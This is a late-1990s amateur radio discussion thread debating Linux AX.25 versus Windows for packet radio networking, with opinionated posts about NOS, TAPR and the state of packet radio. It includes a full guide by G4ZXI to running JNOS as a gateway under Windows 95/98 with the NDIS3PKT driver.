("Cannot route, always crashes, useless ...") you drive hams away
from radio networking.

The truth is that Windows is a perfectly good OS for radio networking.
As with Linux, you need software specialized for ham radio.
("What? Linux does not come out of the box running AX.25?!!")

The point many posters have made is that there IS software that
provides tcp/ip network services over ham radio, and also runs
in Windows (95/98) and in DOS. The extra expense of an additional
machine running Linux is not required. Even servers run fine in Windows.
Yes, it is true those servers are not BUNDLED with the OS. But they
are available and available at low or zero cost.

Where do I find the Lunix drivers for the HAL P38 and PCI4000?
Red Hat 6.0, much prefer RPM but raw tar file of sources is ok.

That is not true, Hank, it does. AX.25 networking is a standard feature
of Linux, and comes with nearly all distributions. Just like Windows
comes with TCP/IP networking. (but it has no AX.25)

The fact that the Linux AX.25 implementation is crap (just like other
implementations that assume and only support KISS TNC's) is a different
matter. It is a pity that still nobody took up the challenge to make
an AX.25 implementation that is as efficient as the firmware in a TNC.
(of course it would require an SCC card, 6PACK TNC, soundcard modem or
other device that allows realtime control over the channel)

So what? Adding Linux (or FreeBSD or similar) to a Windows box is not
the most complicated task in the world and most of the "serious" hams in
our part of North America have done so. Even more hams have an old 486
laying about that is a perfect candidate for use as dedicated Linux box
for use as a router or similar.

How about some specific information.
I looked on my CD and did not find any AX.25 drivers (Red Hat 6.0).
Is it there? What is the name of the rpm?
If not on the CD, where do I find it?
Does it include the NET/ROM layer as well?
How about NET/ROM over Ethernet (BPQENET e.g.)?

The "serious hams" are already all on air. What is needed is a way
for the "casual users" to get on air. Very few hams have the interest,
or the ability, to set up a complex bunch of system software. They
just want to play with their radios.

How do you use Linux or FreeBSD on your Windows machine while
you are running Windows? You don't of course, you have to reboot.
Not a viable solution. What is needed is software which is simple to
set up and get running, and will link the Windows ip stack into the
radio network. As far as I can tell, there is nothing that qualifies.

Perhaps you can point me to such software.

Here's my understanding of things. No warrantee or guarantee of accuracy!

Okay, Linux ax25 comes in two parts. The Kernel portion -- that is the bits that are in the OS itself to support ax25, and the utilities. Your Redhat CD only has the kernel bits. To turn them on, you need to install the Kernel source RPM and rebuild the kernel. Read the ax25 howto on linux.org, and it has most of the scoop on how that works. Don't do the kernel patches that it mentions on Redhat 6.0. Most of the other stuff in that document is correct though.

The best source for linux ax25 has become

http://radio.linux.org.au

I believe, as of just a few days ago, you should be able to build the latest versions of the ax25 tools under Redhat 6.0. Make sure to build libax25 before you build ax25-toools and ax25-apps. Get the ones from this month 8/99, as these are the new ones. There are some rpm files of ax25-utils-2.1.42a-3.i386.rpm which also seem to work -- though some people had trouble with Netrom on these. I'm not sure what's going on there, since I haven't tried Netrom yet.

Note a couple oddities. That ax25-utlis puts everything in /usr/local/etc/ax25 or /usr/local/var/ax25 rather than /etc/ax25 or /var/ax25 as described in the help files. Also, you need to specify ip ports of ax25 ports, even if you don't use ip. I use numbers picked from 192.168.0.1 to 192.168.0.255, and I think these are the 'fakenet' ips, but I'm not sure. These ip numbers will never get on the air unless you try using that port for connections. Use the /sbin/ifconfig command to see if your ports are really installed. Run netstats to check connections. Download a terminal program called 'minicom' to check your rs232 connections to your TNC's and set them to KISS mode manually. There's currently a bug with the 'call' program with Redhat 6.0 -- some kind of library problem

apparently, so the program works with keyboard options, but
the pull down menus are broken.

As for Net/ROM, yes, Netrom is included in the Linux stuff. I'm
not sure about NET/ROM over ethernet, though I do know some
of the Flexnet guys use axutils on their Linux boxes, connected
to radios on the DOS Flexnet machine, connected via ethernet.
So, something like that is apparently possible -- though I'm not
familiar with it. I'm not aware of anything in LInux that's
directly compatible with BPQ, however.

> How about PACTOR and GTOR for KAM?

Right now, there's no driver support in Linux for HF modes
like Clover or Pactor. (Though I think this would be good
idea.) All I'm aware of directly is the PCTII support in
xfbb, though this is buried in that huge BBS program. If you
want to just keyboard to someone, and can communicate with
an intelligent device, like the KAM, through a keyboard,
just download the minicom rpm -- and install that and use it
just like the DOS comm programs. I operate Pactor this way,
and sometimes telnet in remotely to my Linux system.

I'm not sure about the HAL P38 -- or what a PCI4000 even is?
What do you want to do with these? Do you want to just
talk to people, or forward mail over them, or run IP over
them?

In the context of a book on NOS, I think NOS is pretty much a
kludge of various programmers who have nothing to build on. That
is, interfaces are willy-nilly added, and hacking is promoted.
Unlike an Object Oriented language, in which the underlying classes
are never changed.

> When it is not interesting enough to telnet to, why would it be
> more interesting to browse to? You probably confuse flashy graphics
> with interesting content.

To hell with that. I mean nothing of the kind. I mean that the
raw command line VT-100 is obsolete, and the document itself can be
transferred as an HTML document. In XML, the headers can assist in
a powerful way.

> No matter if a protocol or service is implemented in C or in Java
> or whatever, when the service provides no interesting content it
> is not going to be interesting.
> (apart from "This was all written in Java, interesting isn't it?")

In the context of a book on NOS, the content is already decided. It's
a book about decoding a program that geeks wrote, and no sane
individual can understand. Thus they need to be held hands with as the
author describes geek code by geek programmers.

> For most of the web applications to be usable on packet radio, people
> would first have to write off their 1200 baud modem and buy or build
> something more state-of-the-art. This seems to be a big enough hurdle
> to take for the coming ten years.

Packet radio will be spread-spectrum in a LAN, and keyboard to keyboard
as a non-AX.25 mode on HF. 1200 baud/300 baud is completely obsolete.
People designing or studying anything at 1200 baud are stuck in the
past, are geeks.

> Consider what development packet radio went through in its first
decade,
> then compare that with what happened in the second decade. Compare
> that with the development on other networks in that same decade.
> Disappointing, isn't it? That cannot be attributed to a programming
> language alone.

The problem with packet radio, was that it attracted the RF experts who put up very fine nodes, and was followed by computer geeks who consumed all the bandwidth with noise. Like a phone patch on a repeater, it attracts the wrong type of people the RF crowd likes to associate with. The geeks pretty much spun out of control with a thing called NOS, and every egomaniac had to have his own version to justify the geek qualities they desired. RF was only a secondary concern.

When was the last time you were within a 1000 miles of Europe?

I haven't seen anything "modern", or "advanced" from Europe.
What the hell are you talking about? Baycom modems? Wide-band
RF solutions like out of the Balkins? That is not "modern" or
"advanced." It's old technology. We had wide-band digital RF over
30 years ago.

On the other hand, I have seen Wireless LAN's from the US and that
is "modern" and "advanced" in Spread Spectrum, and in software
drivers.

Here's a few you'll find in the latest Linux kernel (2.2.12) source
code: ax.25, netrom, 6pack, baycom (serial and parallel), bpqether,
scc, mkiss, soundmodem, yam.

There are a bunch of ax.25 tools and applications around. I don't think
Red Hat includes them on the CD (Debian includes quite a few), but they
are available by ftp. See the AX25-HOWTO (somewhat out-of-date, but
still useful).

Do you suppose that the lack of support for Pactor-II, GTOR, Flexnet and CLOVER might be related to their proprietary nature?

Erm ... <gulp>

.. All I did was post what I thought was a tiny, innocuous announcement,
and I return to find 32 responses!

.. and apart from the wholly predictable comments from certain individuals,
it was refreshing to see some positive remarks as well (especially from
Cathryn).

Bottom line: there's still plenty of room in amateur radio for Linux/C geeks
and Windows appliance operators *and* telephones (but not 7+ or BBSs :-).

Keep it coming!

Dave didn't understand, so he asks,

> Why not?

> > Most hams have Windows machines. Simple fact of life.

And there's all the info he needs to understand why Linux is not practical
for widespread use by a significant number of hams.

But the info does Dave no good, because he a bit self-absorbed...

> So what? Adding Linux (or FreeBSD or similar) to a Windows box is not
> the most complicated task in the world and most of the "serious" hams in
> our part of North America have done so. Even more hams have an old 486
> laying about that is a perfect candidate for use as dedicated Linux box
> for use as a router or similar.

And so he can't comprehend the fact that most Amateurs simply do not WANT to
have valuable space on their hard drives taken up by Linux.

Dave was silly enough to say most the "serious" Hams already use Linux. -
That's a particularly good example of what's known as "provencialism". It
also indicates a less than firm grip on reality.

Dave, you're kind of dumb, OM. Sorry, but expecting a significant number of
Hams to become interested is something just because you did is pretty
stupid. - Especially something that takes up most of your hard drive and
comes bundled with an amazing collection of bugs, dead links that go
nowhere, and poor performance such as only software written by "amateurs"
can deliver.

Maybe you've got the spare time to massage Linux into functionality, but
most Hams would rather not have to bother. It's silly of you to expect a
large number of Hams to bother with it, OM. It ain't going to happen. Sorry,
but there it is, like it or not. The great majority of Hams use Windows, and
there is no evidence that this is going to change.

Wake up and smell the coffee.

That is as good an explanation as any I have seen as to why most Hams cannot be expected to bother with Linux.

Please tell us how to do this.

I know of some real time kernels that allows the Windows NT to execute
as a real time task. I have never heard of any systems of running
Linux/Unix in other real time tasks in such systems.

On the other hand, there are some "DOS in the box" implementations for
Linux and even some Windows emulators of dubious quality.

Dual booting is not an option, since it is as archaic as sequential
(chained) program execution in MS-DOS :-).

: Even more hams have an old 486
: laying about that is a perfect candidate for use as dedicated Linux box
: for use as a router or similar.

That seems to be the only viable alternative.

Hello guys,

Following this discussion and seeing some guys not knowing how
to make JNOS work with WINDOWS-95/98, here is a nice document
I found on the net that makes JNOS and WINDOWS live happily together.
This document explains how can have JNOS run in a WINDOWS DOSBOX and act
as a GATEWAY between the radio world and WINDOWS. This way one can
please themselves and use JNOS for SERVER/CLIENT applications and
at the same time use WINDOWS SERVER/CLIENT applications as well.

Please remember that we are Radio Hams and we do this as a HOBBY.
There is no need to fight each other. Please keep using our radio amateur
SPECTRUM by all means and save your arguments against the guys who want to
take our frequencies so that they can seel them to private enterprises.

There is no need for Hams fighting against Hams. Please the ones that need
their pills taken, do not forget to take them and leave us alone.
There is room for NOS (TPC/IP), AX25 (PBBS), FLEXNET, NETROM, ROSE, DOS,
WINDOWS, LINUX, OS/@, MAC and the lot in this hobby.

Everyone can do what they like as long as they do not heart anyone. It is
a free world. Or is it not???

Remember Ham radio is about communicating not fighting!!! So hold your horses!

Anyway here is this nice document for the ones that do not know:
--------cut here----------
GUIDE TO INTERFACING JNOS 111x WITH WINDOWS 95/8 By Nick Parnell
G4ZXI Kent TCP/IP Group 24th July 1999

1.0 Introduction

Some time ago, I published details of how to interface UKNOS
running in a DOS window with Windows95; itself using Trumpet
Winsock, Winpkt and PIPE.COM. Although this implementation has
worked very well for many of you, Year2000 considerations and the
fact that UKNOS development is halted have led me to look towards
alternative methods.

I currently know of 2 such methods without getting yourself into
multi-network card solutions:

1. For users wishing to interface directly with a single TNC and
use purely windows based applications for everything, the SV2AGW
software and instructions are available for download at
http://www.amber.force9.co.uk/tcpip.html. 2. Using the new
NDIS3PKT v2.4 driver available for evaluation download and

purchase at http://www.danlan.com. This method is described below:

This document describes the method utilising JNOS 111b or greater, a standard network card and the NDIS3PKT v2.4 Virtual Packet Driver. You will need WFW-3.11, Win95a, Win95b (OSR2), Win95C or Win98/ Win98-SE running on the PC with a free IRQ available for the network card. This document only addresses setup under Windows 9x, however the driver is also designed to work with Windows for Workgroups 3.1.1.

This document assumes a basic knowledge of using Windows95/8. It assumes that the system is installed on a machine dedicated for TCP/IP operation based around JNOS. If you wish to use this on a PC already connected to the internet via Windows Dial-Up Networking you will need to consider different TCP/IP tools for each connection to avoid the need for changing connection settings between sessions. I do however strongly recommend dedicating a 486 or low-spec Pentium PC to the amateur radio applications. I do this, and share a monitor, keyboard and mouse between them using a switch-box.

Either way, the implementation provides a convenient method of interfacing JNOS directly with MS-TCP using virtual drivers (requiring no conventional memory) and providing the flexibility for you to choose the tools you wish to use to communicate via Amateur TCP/IP.

2.0 What you need

You will need to obtain the following before starting:

486 or greater PC running WFW-3.1.1, Windows95a,b,c or Win98 with Free IRQ for the network card JNOS111 Compilation with Packet Driver Interface (See download Link on this site) 2nd IP address to assign to your Windows TCP/IP stack (See your hub Sysop) Standard 10Mbps network card 50ohm BNC 'T' piece adapter & 2 50ohm terminators NDIS3PKT v2.4 Virtual Packet Driver Your WFW-3.1.1 / Windows95 / 98 /98-SE Disks/CD

Note: NDIS3PKT v2.4 is licenced software. The evaluation version which can be downloaded from http://www.danlan.com is restricted to sending/receiving 75/200 packets per boot. Payment for the driver must be made in US$ drawn against a United States bank. I found UK registered Airmail (SWIFTAIR) available at UK post-offices a convenient method to mail the $US notes. At time of writing this is $15, however you should check the file ORDER.TXT included within the NDIS3PKT v2.4 driver zip archive for current order information.

3.0 Network Card Installation Instructions

With the PC power removed, and taking reasonable ESD precautions, carefully remove your PCs cover and install the network card in accordance with the manufacturers instructions. If your motherboard supports Plug&Play then the card should self configure. If not you may need to setup the appropriate jumpers to select IRQ and memory address range. My card here is setup to use IRQ 11 and address range 0300-031F. This will differ according to your computer.

Replace the cover and power connectors.

Place the 'T' piece onto the BNC socket of the network card and place the 50ohm terminators on each end of the T.

Switch on the PC. It will boot up and should detect the new card. When it asks for a driver insert the manufacturers disk into the floppy/CD drive and select the HAVE DISK option so that the driver is found (you may need to browse for it). You will be asked to specify a username, password and workgroup. I suggest the username is your callsign, your password is left blank and your workgroup is "Amateur Radio" (unless you have a common household network you wish this machine to be part of). The network card should now be configured.

You should check the setup of the card by going into CONTROL PANEL, SYSTEM then NETWORK ADAPTERS and select PROPERTIES for your card. It should state "Device is Working Properly". If not you have an IRQ/Address conflict this must be resolved before continuing.

4.0 Installing the Windows Protocols

This will differ slightly depending on which version of windows you are running. I will therefore describe the general case; which should provide sufficient information to allow you to complete the operation. It is possible that windows will have already set some of this up for you when installing the network card. If so, just browse the settings and change as necessary.

Obtain the licenced NDIS3PKT v2.4 driver by ordering through http://www.danlan.com. This will take 7-10 days. You will need to specify an email address on the order form to which the licenced software can be sent. Unzip the NDIS3PKT v2.4 files obtained from http://www.danlan.com onto a floppy disk. Goto CONTROL PANEL, NETWORK. If not already present, select ADD to install the following: Client - CLIENT FOR MICROSOFT NETWORKS Protocol ? Microsoft TCP/IP Protocol ? NetBEUI (If connecting your network card to another computer too)

Now, close the window down by clicking OK or Apply and let the computer reboot for changes to take effect. After the reboot, go once again to CONTROL PANEL, NETWORK and select ADD followed by PROTOCOL and ADD. Place the floppy disk with the Unzipped NDIS3PKT 2.4 drivers on into your floppy drive then select HAVE

DISK. Use the browse option to goto the floppy directory. VIRTUAL PACKET DRIVER will be displayed. Click on OK to select and install this driver. If the computer reports that it cannot find a component, but click OK again and it will find it! You will then need to reboot your computer again.

After the reboot, once again goto CONTROL PANEL, NETWORK. Highlight TCP/IP and click PROPERTIES. A number of TABS will be displayed for entry of information specific to your windows machine. Remember, this is your windows side of the interface and must not be confused with JNOS. This is where you enter your Windows IP address.

The following describes what to put in each tab:

IP ADDRESS Select "Specify an IP Address" Enter your windows IP address (Which you should have obtained from your hub sysop) Enter a subnet mask of 255.0.0.0. This identifies the machine as a member of the "44" subnet.

WINS CONFIGURATION Select "Disable WINS resolution"

GATEWAY Under new gateway, enter the IP address of your NOS machine then click ADD. This is the address to which all outbound IP frames will be sent.

DNS CONFIGURATION Click "Enable DNS" Under host enter the callsign you are using for your windows machine. i.e Your sys2 callsign corresponding with your windows IP address. Under domain enter "ampr.org" Under DNS server search order enter the IP address of the hub/server you use to provide Domain Name Lookup services. If your NOS machine is a hub then this will be your nos machines address. If you are an end-user then it's usually the callsign of your hub (Without the ampr.org suffix). Check with your hub sysop. Under domain suffix search order enter "ampr.org" Leave NETBIOS, BINDINGS and ADVANCED alone. Now click on OK.

Now, Highlight Virtual Packet Driver and click PROPERTIES and ADVANCED. You should check and change the values to be as follows:

Buffers 10 V86 Mode Stack Size 128 TR routing info Byte 0 0xc2 TR routing info Byte 1 0x20 Always schedule VM true Multiplex tcp/ip true Multiplex MS tcp/ip true Ignore local broadcasts false Warn on mux tab full true First PD interrupt vector 0x60 Force 802.3 framing false Fake ethernet on TR false

Double check these values. The PD interrupt vector is the address where NOS will link to later. This needs to match the value you supply in JNOS or it won't work!

Click OK then OK again to save changes. You should then restart the PC. Now, finally you need to configure the Windows Registry to use sensible values for MTU etc as opposed to the large values used by default on ethernet.

You may wish to experiment with differing values of MTU, however remember that any value you specify is what goes out over the network. If you're only interested in communicating with your local hub and have a good 9k6 1024 packet size link then of course MTU can be 1024 and you will get faster response. Just remember that the quality of the path is governed by the smallest MTU encountered en-route. Exceed this and you'll get no traffic past this point!

Backing up the Registry This is an essential step and can save you an enormous amount of grief if you make a mistake. The windows registry is the heart of the system. Its easy to make mistakes and get the frozen mouse or blue screen for evermore. You've been warned!

To backup the registry, open up an MSDOS window and type the following:

cd c:\windows attrib ?S ?H system.dat copy system.dat system.bak attrib +S +H system.dat attrib ?S ?H user.dat copy user.dat user.bak attrib +S +H user.dat

Note: This document assumes a windows directory of C:\WINDOWS throughout. You may have to vary this according to your setup.

If you need to restore your Registry from the backup

If all goes pear shaped, then restoring the registry is easy. Just start the PC up and repeatedly press the F8 Key until a text menu appears. Select COMMAND PROMPT ONLY then type the following to restore the registry to its values before you changed them:

cd c:\windows attrib ?S ?H ?R system.dat attrib ?S ?H ?R user.dat copy system.bak system.dat copy user.bak user.dat attrib +S +H +R system.dat attrib +S +H +R user.dat

You will then need to reboot the system.

Changing the registry values Now, assuming you've backed the registry up here's what you need to change. You may wish to experiment with these slightly to suit your environment. Remember that the MTU must match that specified on the NOS attach line (Covered in section 5).

Click START then RUN and in the box type regedit and click OK A tree will be displayed. Click the '+' sign at the edge of each box to move down the tree as follows: HKEY_LOCAL_MACHINE System CurrentControlSet Services VxD Then click on the Folder MSTCP RightClick and select NEW and STRING VALUE. Create New String Values for each of the following, then Right Click and select

MODIFY to change the values assigned to them:

DefaultRcvWindow 2048 MaxConnectRetries 7 MaxDataRetries 7
DefaultTTL 64

DOUBLE CHECK EVERYTHING!!

Now, as before goto the following location in the registry:
HKEY_LOCAL_MACHINE System CurrentControlSet Services Class
NetTrans You will see a number of folders under NetTrans
something like 0000 0001 0002 etc? Carefully click on each
folder to find the one which contains your TCP/IP settings and IP
address for your windows machine.

When you see the one with a key called IPAddress and a value
matching your amateur radio windows IP address, create a new
string value called MaxMTU and assign the value of 256 to it.

Now, exit from the registry, cross your fingers, shut down the PC
and reboot. If the PC dosent reboot properly go back to page 4
and follow the instructions for restoring the registry, then try
again.

5.0 Setting up JNOS to communicate with windows

Establishing the connection between JNOS and windows requires
some configuration of JNOS to attach to the interrupt on which
the NDIS3 driver is installed and waiting. In addition some
configuration files must change in order to setup the correct
operation paramaters for an amateur network.

The following steps will complete the configuration:

Setting up the HOSTS file In order to provide immediate Domain
Lookup from windows, a file called HOSTS needs to be present in
the C:\WINDOWS directory. Microsoft already provide a sample
called HOSTS.SAM. We will use this and then modify it for our
purposes:

Copy C:\WINDOWS\HOSTS.SAM to C:\WINDOWS\HOSTS Edit the file HOSTS
to look as follows, including your details where the < > are
placed:

Copyright (c) 1994 Microsoft Corp. # # This is a sample HOSTS
file used by Microsoft TCP/IP for Chicago # # This file contains
the mappings of IP addresses to host names. Each # entry should
be kept on an individual line. The IP address should # be placed
in the first column followed by the corresponding host name. #
The IP address and the host name should be separated by at least
one # space. # # Additionally, comments (such as these) may be
inserted on individual # lines or following the machine name
denoted by a '#' symbol. # # For example: # # 102.54.94.97
rhino.acme.com # source server # 38.25.63.10 x.acme.com # x
client host

127.0.0.1 localhost <HUB IP Address> <HUB c/s>.ampr.org <NOS IP Address> <NOS c/s>.ampr.org <Windows IP Address> <sys2.yourcall>.ampr.org

Save the file.

Setting Up Windows ROUTES in NOSENV.BAT In order for windows to understand how to deal with amateur IP addresses other than that of the gateway it is necessary to establish some routes. This is done via the windows ROUTE command. Since windows95/98 are pretty poor at routing we have to fudge this stage to make it work. The following explains how this is done:

Note: If you have a file called ROUTE.* (ie ROUTE.EXE, ROUTE.BAT or ROUTE.COM) in your NOS top directory rename it to NOSROUTE.* before continuing.

Edit NOSENV.BAT (Your NOS environment setup file in the NOS directory) Add the following lines into the top of it, replacing < > with your details:

ROUTE ADD 0.0.0.0 <Your NOS IP Address> ROUTE ADD 44.131.0.0 MASK 255.255.0.0 <Your NOS IP Address>

Note: If you are outside the UK (Region 44.131), or wish to access other international regions you must either change the line to indicate your 44.xxx country and/or add a separate line for each 44.xxx region routing to <Your NOS IP address>.

Setting up Autoexec.NOS In order for NOS to communicate through the Virtual Packet Driver, you need to attach a port to the address on which the packet driver resides (0x60).

Now you also need to make some choices regarding just what you want NOS to do. These options are as follows:

1. Collect/Send everything to the hub (No Local Storage) This is only really practical when you have a good 9k6 connection between you and the hub. Everything is done on-line. If you wish to use this option then download the CLIENT ONLY version of JNOS111 from the download site at http://www.gb7iph.demon.co.uk. You will need to point all your windows tools (mailers, browsers etc) to the hub IP address so that they are polled over the air.

The Autoexec.nos settings for such a configuration are as follows:

Wormhole to Windows (MS-TCP) # attach packet 0x60 win95 2048 256 rou add <windows IP address> win95 <windows IP address>

Add one of these lines for each attached RADIO port you have (here with examples # for ports named 144 and 432. So if hostname is g4zxi <yourcall-5> will be # g4zxi-5): # arp publish <windows IP address> ax25 <yourcall-5> 144 arp publish <windows IP address> ax25 <yourcall-5> 432

ifc win95 descr "Wormhole to windows TCP/IP" ifc win95 mtu 256 ifc win95 tcp mss 216 # PACLEN/2 - 40 HEADER ifc win95 tcp win 432 # Mss, Mss*2 or *3 ifc win95 tcp syndata on ifc win95 tcp maxwait 12000 # MAX BACKOFF 12s ifc win95 tcp irtt 7000 mode win95 datagram

ax25 hport win95 on ip hport win95 on start http trace win95 111

Since you will not be collecting NNTP or POP3 on your local machine you can #out any NNTP or POP3 related lines in your autoexec.nos file.

2. NOS Server - Local Storage of POP3 mail and NEWS If you have a slow connection to your hub, or indeed wish to simply increase the speed of transfer between NOS and windows you should consider using the version of JNOS111 with POP3 and NNTP servers added. This is called LIMITED SERVER and once again is available from the download site.

The autoexec.nos settings for this configuration are the same as for example 1, however since you will be running POP3 and NNTP server on your NOS machine you will need to setup external files and add lines to autoexec.nos as follows:

Start the Servers Edit autoexec.nos and add the following lines to whatever is already present:

Start POP3 Start NNTP Start HTTP

In addition to this, ensure your NOS system is already setup to poll your hub for POP3 mail. This will then be stored on your NOS system and your windows programs will then poll the NOS system to get mail.

Setup NNTP Client and Server Your NOS system will need to poll (as usual) for the NNTP groups you are interested in from your hub. Following your nntp addserver lines in autoexec.nos, you will need the additional server commands:

nntp ihave 1 nntp autocreate 3 nntp profile organ "<YourCall> - <Town>, <County>, <Country>" at 0430 "expire 24+" at 0431 "expire now+"

Note: You will only be able to view local newsgroups in this manner if you are polling your hub for them using the nntp addserver command. You could of course set your windows newsreader program up with a default server of your NOS system and a secondary server being your hub. This way you can browse either locally or ad-hoc via the hub and have the best of both worlds!

Create a POPUSERS file Create the file called POPUSERS in your NOS top directory. This should contain your callsign followed by ":" followed by your name in lowercase followed by ":". i.e

g4zxi:nick:

The callsign represents the POP3 account referred to in windows mail program setup boxes, and the name represents the POP3 password used to access the local mailbox.

Setup NEWS expiry file In order to ensure your newsgroups don't mount up to infinitum, you should place a file called EXPIRE.DAT in the NOS SPOOL directory. This file should contain the name of each newsgroup to be expired followed by the expiry period. The format is as follows:

!ampr.all 7 !ampr.misc 10 !ampr.club 7 !ampr.space 5 !ampr.comp.os2 3

etc?

Setting up JNOS to run in a DOS window ? Background Mode Ok, you're almost there. The final step is to setup NOS to run in a DOS window in background mode. Assuming JNOS is installed in the directory C:\NOS, the following instructions demonstrate how to set this up:

Right Click on the Desktop and Select NEW and SHORTCUT In the COMMAND LINE box type C:\NOS\NOSENV.BAT and click NEXT Type a name for the shortcut. I suggest JNOS. Click NEXT. Select an ICON for JNOS from the list displayed and click FINISH. Now, right click on the ICON which has just been created on the desktop, and select PROPERTIES. Under the PROGRAM TAB, Enter "JNOS" in the TOP BOX currently filled with NOSENV. Under RUN, select MINIMISED and tick CLOSE ON EXIT. Under FONT select 7*12. Under SCREEN ensure USAGE is set to WINDOW, and DISPLAY TOOLBAR, RESTORE SETTINGS ON STARTUP, FAST ROM EMULATION and DYNAMIC MEMORY ALLOCATION are all ticked. Under MISC, ensure that BACKGROUND ALWAYS SUSPEND is NOT TICKED. Also, ALLOW SCREEN SAVER should NOT be ticked. WARN IF STILL ACTIVE should be ticked and the IDLE SENSITIVITY slider should be moved to one notch right of the FAR LEFT (Low) position. Click APPLY then OK. You're now ready to roll!

Note: You should ensure that all screensavers and power management features are turned off. They will degrade NOS performance or stop it altogether!

6.0 Testing the System for the first time.

Ok, so you've made it so far. Now for the moment of truth. Will it work? I would suggest that you shut the computer down to ensure a clean start. Upon reboot, double click on the newly created JNOS icon to start JNOS running. If the TNC STA light remains on it may be necessary to exit JNOS, recycle the power to the TNCs and then restart JNOS.

The following steps will prove connectivity:

With JNOS running, open an MS-DOS window Type PING ?w 5000 <Windows IP address> This will prove that you can ping the windows IP address OK. Now, type PING ?w 5000 <NOS IP address> This will prove connectivity between Windows and JNOS Finally, type PING ?w 5000 <HUB IP Address> If this works then windows is communicating through NOS and out of the radio port. Success! (Hopefully).

If you are having problems pinging the windows IP address then you have probably not set the network card up properly. Check for IRQ conflicts.

Problems pinging the NOS IP address usually relate to either the WINDOWS ROUTE command being incorrectly specified, the JNOS ROUTE ADD command being setup wrongly or errors in setting up the GATEWAY or DNS in WINDOWS NETWORKING.

Finally, if you can ping JNOS but not out of the radio port, check the following:

Ensure you can Ping from JNOS OK. The STA light may be on on the TNC in which case exit JNOS recycle the TNC power and restart JNOS again. If this is OK, check the WINDOWS ROUTE COMMAND SETTINGS to ensure you have the route for 44.131.0.0 MASK 255.255.0.0 setup correctly. Typing ROUTE PRINT in an MSDOS window will show which routes are present in the windows routing table.

7.0 Using the System with Windows Tools

You now have a system which provides full connectivity with MS-TCP. You can in theory run any internet tool (Mailers, Newsreaders, Browsers etc.) you like over the link. You will need to configure the tools to point to the server. This will vary depending on whether you've set your hub as the server or indeed your local machine.

Carefully step though the tool configuration settings. Remember, for email the POP3 name and password are almost always your callsign and your name (both in lower case) and as specified in either YOURS or YOUR HUBS POPUSERS file.

Have fun. I am always looking to improve this and can only do so with comments and suggestions from you.

8.0 Acknowledgements

I would like to thank the following for assistance given in the setup and testing of this system.

Karl-Heinz Weiss (dj9nz) Dan Lanciani Stuart Barron (g7jyf) Matthew Curtis (m1cmn)

Note: If you are pleased with this system, donations towards the running of the hub and / or the work of the Kent IP group are

always gratefully welcome QTHR but never expected. As they say,
if you like it tell everyone and if you don't tell me!

DISCLAIMER: All attempts have been made to ensure the validity of
this information, but it should be noted that neither I nor the
KIPG accept any responsibility for the correctness of the
information contained herein. It must therefore be appreciated
that the use of this package is entirely at your own risk.
Emphasis is placed on the need to be familiar with basic windows
operation, and if you are in any doubt you should seek guidance
from a windows expert.

Changes to the windows registry made during this setup should be
carefully performed and only after carrying out the backups
described herein.

I trust you will enjoy using the interface. Happy Surfing!

If you qualify this as being what happened in the USA, as opposed to what happened elsewhere, I'd say that Steve's assessment here is pretty accurate.

When I describe "LandLine Lids", I am generally talking about NOS geeks who do not know about Radio and do not want to. Their "Amateur Telephone" activity started off as a way to simulate a "little internet" so they could "play ISP", but when they discovered how unwelcome they then were in the Packet net, and how detrimental their activities were to the legitimate Packet net's users, of course as geeks they couldn't resist the opportunity to "crack" that system - The US Packet network.

And they did, with encouragement from that great visionary, Greg Jones of TAPR. - And they did an excellent job of screwing things up, as we can all see today.

Now the US is the laughingstock of the Packet world, and went from having the best Packet network to being ten years or more behind everybody else. Packet ops in the USA almost universally look back on the pre-LandLine Lid days now with great nostalgia. They remember what it was like when the US Packet net was growing and advancing, and can only see stagnation and decline today. This has been the net result of the introduction and use of *NOS in the USA. Our current slump is the direct legacy of the US amateur tcpip community, and it's egocentric, provincial and generally negative "character" here.

Remember that in Europe, they had the same 1.2kb network to work with that we did back then, and also experienced the introduction of the Internet just as we did in the US, and yet THEY managed to continue growing and advancing continuously during this same decade that the LandLine Lids were busily undercutting the use of Packet Radio in the USA.

Steve hit the nail right on the head, when he spoke of geeks getting out of control and screwing up. He should know, since many of those geeks can be found at TAPR.

Steve identified himself as "part of the problem", when he talked about isolated, insulated SS tcpip LANs that can only communicate with each other by non-Ham means. The TAPR Spread-Spectrum hype is just that - A way to promote more of the same type of thinking that screwed the US Packet net in the first place... And they don't give a DAMN about the damage that have done, either. Just ask.

The "impossible" network that Greg Jones claims cannot exist can be found in Europe. That geek actually had the temerity to tell me once that he expected the European network to disintegrate soon, due to what he considers to be "natural causes".

Sorry, TAPR, but they have laws over there prohibiting the use of Non-Ham means to move Ham Radio traffic, so your LandLine Lid buddies cannot get their hooks on THAT bit of Packet Radio network. They can't do to Europe what they did to the US.

Over there, the amateur tcpip folks generally FIT IN with their peers in the Packet Net instead of trying to undercut them. They use HAM RADIO. As a result, we will always have Europe as an example of what we could have had in the US, but for TAPR's single-minded promotion of amateur tcpip and *NOS over everything else, including the use of Radio by Hams for their own digital network.

Ironically, one of those things we could have had in the USA is amateur tcpip that is far in advance of what we see in the USA right now. - I've got a clue for those of you who may not have thought this matter over: - While we have been talking about the *possibility* of using native Win95/98 tcpip apps here in the USA for the last several years, average hams in Europe have been actually using them.

Same thing goes for high-speed Packet, but squared. The typical user station speed there is 9.6kb, not 1.2kb as it still is here in the US. High-speed, full-duplex RF backbone links are common there, and almost unheard-of here. We could have already had high-speed Packet in the US by now, but our network was hacked 'n cracked out of existence before it ever got a chance to develop.

Look to Europe to see what the USA *could* have had by now, if not better. Remember, we had the additional challenge of our wide open spaces to deal with. If our development had been allowed to continue, we might have come up with something really radical and useful by now, like developing HF multicast in order to deal with those wide open spaces. - That would have been a great gift to Hams everywhere.

Great advances are very seldom engendered by putting everything into a dismal tailspin and reducing expectations. True paradigm shifts do not require the deliberate destruction of existing systems. It is an evolutionary, not a devolutionary process. Trying to hurry one along through negative, destructive behavior yields - the kind of results we have seen with the amateur tcpip community and TAPR, here in the USA.

Yep, it sucks.

The operating system makes little difference. Win95 and Win98 both have good Java systems, and browsers, and there is very little need to use a Unix system in a ham radio hobby. Just a few years ago you had to invest in very expensive software packages to develop on the Windows OS, but today you can develop in Java with no investment.

Unix is how I make my living, so I appreciate the power. Those who haven't tried Red Hat and the KDE windows environment probably have no understanding of the strides being made in developing an interface that a consumer could learn easily. KDE is no harder than the Win95 interface. Speed is also important. My dual Pentium machine runs briskly on Linux, while with NT it has all the performance of a single cpu. But performance issues are of little concern to the normal consumer.

But then again, Hams are not supposed to be just consumers. They used to be the people who pulled radio technology ahead.

You can't know everything... look at http://www.vmware.com/

